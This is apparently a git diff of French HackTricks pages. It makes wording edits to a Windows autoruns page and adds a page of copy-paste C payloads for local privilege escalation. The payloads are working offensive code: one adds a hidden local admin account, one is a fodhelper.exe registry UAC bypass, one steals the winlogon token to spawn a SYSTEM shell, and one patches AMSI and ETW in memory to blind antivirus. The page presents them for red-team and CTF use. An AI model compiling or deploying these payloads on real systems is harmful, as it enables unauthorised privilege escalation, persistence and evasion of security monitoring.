- Altérer le fichier binaire référencé dans n'importe quelle valeur de **`StubPath`** pourrait également permettre une élévation de privilèges, étant donné des autorisations suffisantes.
Pour inspecter les configurations **`StubPath`** à travers les composants Active Setup, ces commandes peuvent être utilisées :
Pour inspecter les configurations de **`StubPath`** à travers les composants Active Setup, ces commandes peuvent être utilisées :
```bash
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
@ -243,7 +251,7 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
### Aperçu des Objets d'Aide au Navigateur (BHO)
Les Objets d'Aide au Navigateur (BHO) sont des modules DLL qui ajoutent des fonctionnalités supplémentaires à Internet Explorer de Microsoft. Ils se chargent dans Internet Explorer et l'Explorateur Windows à chaque démarrage. Cependant, leur exécution peut être bloquée en définissant la clé **NoExplorer** à 1, les empêchant de se charger avec les instances de l'Explorateur Windows.
Les Objets d'Aide au Navigateur (BHO) sont des modules DLL qui ajoutent des fonctionnalités supplémentaires à Internet Explorer de Microsoft. Ils se chargent dans Internet Explorer et Windows Explorer à chaque démarrage. Cependant, leur exécution peut être bloquée en définissant la clé **NoExplorer** à 1, les empêchant de se charger avec les instances de Windows Explorer.
Les BHO sont compatibles avec Windows 10 via Internet Explorer 11 mais ne sont pas pris en charge dans Microsoft Edge, le navigateur par défaut des versions plus récentes de Windows.
@ -293,13 +301,13 @@ HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Executi
```
## SysInternals
Notez que tous les sites où vous pouvez trouver des autoruns ont **déjà été recherchés par** [**winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Cependant, pour une **liste plus complète des fichiers auto-exécutés**, vous pourriez utiliser [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) de Sysinternals :
Notez que tous les sites où vous pouvez trouver des autoruns sont **déjà recherchés par** [**winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Cependant, pour une **liste plus complète des fichiers auto-exécutés**, vous pourriez utiliser [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) de Sysinternals :
```
autorunsc.exe -m -nobanner -a * -ct /accepteula
```
## Plus
**Trouvez plus d'Autoruns comme les enregistrements dans** [**https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2**](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2)
**Trouvez plus d'Autoruns comme des enregistrements dans** [**https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2**](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2)
## Références

160
src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md
View File

@ -1,14 +1,160 @@
# Ajouter un utilisateur
```c
// i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
# Windows C Payloads
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
{{#include ../../banners/hacktricks-training.md}}
Cette page regroupe des **extraits de code C petits et autonomes** qui sont utiles lors de l'escalade de privilèges locaux sur Windows ou après une exploitation. Chaque payload est conçu pour être **facile à copier-coller**, nécessite uniquement l'API Windows / le runtime C, et peut être compilé avec `i686-w64-mingw32-gcc` (x86) ou `x86_64-w64-mingw32-gcc` (x64).
> ⚠️ Ces payloads supposent que le processus dispose déjà des privilèges minimaux nécessaires pour effectuer l'action (par exemple, `SeDebugPrivilege`, `SeImpersonatePrivilege`, ou un contexte d'intégrité moyenne pour un contournement UAC). Ils sont destinés à des **environnements de red-team ou CTF** où l'exploitation d'une vulnérabilité a permis l'exécution de code natif arbitraire.
---
## Ajouter un utilisateur administrateur local
```c
// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
#include <stdlib.h>
int main(void) {
system("net user hacker Hacker123! /add");
system("net localgroup administrators hacker /add");
return 0;
}
```
---
## Contournement UAC – Détournement de registre `fodhelper.exe` (Intégrité Moyenne → Élevée)
Lorsque le binaire de confiance **`fodhelper.exe`** est exécuté, il interroge le chemin de registre ci-dessous **sans filtrer le verbe `DelegateExecute`**. En plaçant notre commande sous cette clé, un attaquant peut contourner UAC *sans* déposer de fichier sur le disque.
*Chemin de registre interrogé par `fodhelper.exe`*
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
Un PoC minimal qui ouvre un `cmd.exe` avec des privilèges élevés :
```c
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(void) {
HKEY hKey;
const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command
// 1. Create the vulnerable registry key
if (RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0,
KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
// 2. Set default value => our payload
RegSetValueExA(hKey, NULL, 0, REG_SZ,
(const BYTE*)payload, (DWORD)strlen(payload) + 1);
// 3. Empty "DelegateExecute" value = trigger (")
RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ,
(const BYTE*)"", 1);
RegCloseKey(hKey);
// 4. Launch auto-elevated binary
system("fodhelper.exe");
}
return 0;
}
```
*Testé sur Windows 10 22H2 et Windows 11 23H2 (patches de juillet 2025). Le contournement fonctionne toujours car Microsoft n'a pas corrigé le contrôle d'intégrité manquant dans le chemin `DelegateExecute`.*
---
## Spawn SYSTEM shell via token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
Si le processus actuel détient **les deux** privilèges `SeDebug` et `SeImpersonate` (typique pour de nombreux comptes de service), vous pouvez voler le jeton de `winlogon.exe`, le dupliquer et démarrer un processus élevé :
```c
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
DWORD FindPid(const wchar_t *name) {
PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
if (!Process32FirstW(snap, &pe)) return 0;
do {
if (!_wcsicmp(pe.szExeFile, name)) {
DWORD pid = pe.th32ProcessID;
CloseHandle(snap);
return pid;
}
} while (Process32NextW(snap, &pe));
CloseHandle(snap);
return 0;
}
int wmain(void) {
DWORD pid = FindPid(L"winlogon.exe");
if (!pid) return 1;
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
HANDLE hToken = NULL, dupToken = NULL;
if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) &&
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) {
STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
if (hProc) CloseHandle(hProc);
if (hToken) CloseHandle(hToken);
if (dupToken) CloseHandle(dupToken);
return 0;
}
```
Pour une explication plus approfondie de son fonctionnement, voir :
{{#ref}}
sedebug-+-seimpersonate-copy-token.md
{{#endref}}
---
## Patch AMSI & ETW en mémoire (Évasion de défense)
La plupart des moteurs AV/EDR modernes s'appuient sur **AMSI** et **ETW** pour inspecter les comportements malveillants. Patchant les deux interfaces tôt dans le processus actuel, cela empêche les charges utiles basées sur des scripts (par exemple, PowerShell, JScript) d'être scannées.
```c
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
void Patch(BYTE *address) {
DWORD oldProt;
// mov eax, 0x80070057 ; ret (AMSI_RESULT_E_INVALIDARG)
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
memcpy(address, patch, sizeof(patch));
VirtualProtect(address, sizeof(patch), oldProt, &oldProt);
}
int main(void) {
HMODULE amsi = LoadLibraryA("amsi.dll");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (amsi) Patch((BYTE*)GetProcAddress(amsi, "AmsiScanBuffer"));
if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite"));
MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
return 0;
}
```
*Le correctif ci-dessus est local au processus ; le lancement d'un nouveau PowerShell après l'avoir exécuté s'exécutera sans inspection AMSI/ETW.*
---
## Références
* Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
* SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
{{#include ../../banners/hacktricks-training.md}}